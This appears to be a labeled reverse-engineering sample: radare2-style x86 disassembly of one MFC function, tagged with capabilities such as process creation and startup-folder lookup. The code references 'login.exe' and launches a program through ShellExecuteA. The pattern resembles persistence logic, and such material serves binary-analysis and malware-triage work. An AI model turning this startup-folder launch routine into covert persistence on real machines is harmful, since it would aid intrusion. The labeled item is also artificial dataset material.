Function at 0x4049ef
Capabilities:
Create process on windows
Get common file path
Get startup folder

Disassembly:
mov eax, 0x405fc0
call fcn.004057f0
sub esp, 0x134
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
call fcn.00404cc3
lea eax, [ebp - 0x1c]
mov dword [esp], str.login.exe
push eax
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_operator
push dword [ebp - 0x14]
mov byte [ebp - 4], 1
push dword [0x40a7d0]
call fcn.00405187
push dword [ebp - 0x14]
call fcn.00405172
add esp, 0xc
test al, al
jne 0x404a4d
mov byte [ebp - 0xd], bl
jmp 0x404bc9
push ebx
lea eax, [ebp - 0x140]
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0x18]
push eax
call sub.MFC42.DLL_CString::CString_1
mov edi, 0x40a5f8
lea eax, [ebp - 0x18]
push edi
push eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 2
push eax
call sub.MFC42.DLL_operator
mov esi, 0x40a7d4
mov byte [ebp - 4], 3
push esi
push eax
lea eax, [ebp - 0x38]
push eax
call sub.MFC42.DLL_operator_1
push 0x40a5e8
push eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 4
push eax
call sub.MFC42.DLL_operator
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
cmp byte [0x40a7d8], bl
je 0x404b2c
lea eax, [ebp - 0x18]
push edi
push eax
lea eax, [ebp - 0x2c]
push eax
call sub.MFC42.DLL_operator
push esi
push eax
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 8
push eax
call sub.MFC42.DLL_operator_1
push 0x40a5e0
push eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 9
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xa
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
call sub.MFC42.DLL_CString::CString_3
push dword [0x40a7e0]
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0xb
push dword [0x40a7d4]
push 0x40a5b4
push eax
call sub.MFC42.DLL_CString::Format
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push ebx
push ebx
push dword [ebp - 0x14]
call fcn.0040493e
add esp, 0x24
lea eax, [ebp - 0x1c]
mov ecx, 0x40a7cc
push eax
call sub.MFC42.DLL_CString::operator
mov esi, 0x40a6b8
mov ecx, esi
call fcn.00401860
cmp eax, 0xffffffff
jne 0x404b8c
push ebx
mov ecx, esi
call fcn.004018a1
push dword [0x40a7d0]
push dword [ebp - 0x14]
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
test eax, eax
pop ecx
jne 0x404be8
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::CString
mov al, byte [ebp - 0xd]
jmp 0x404cb4
lea ecx, [ebp - 0x28]
call sub.MFC42.DLL_CString::CString_3
push dword [ebp - 0x18]
mov ecx, 0x40a7d0
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x404c4d
mov edi, 0x40a5b0
push 0x40a7d0
lea eax, [ebp - 0x30]
push edi
push eax
call sub.MFC42.DLL_operator_2
push edi
push eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0xd
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xe
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xd
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0xc
call sub.MFC42.DLL_CString::CString
mov ecx, esi
call fcn.0040195a
push 5
push dword [ebp - 0x1c]
push dword [ebp - 0x28]
push dword [ebp - 0x14]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CString::CString
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret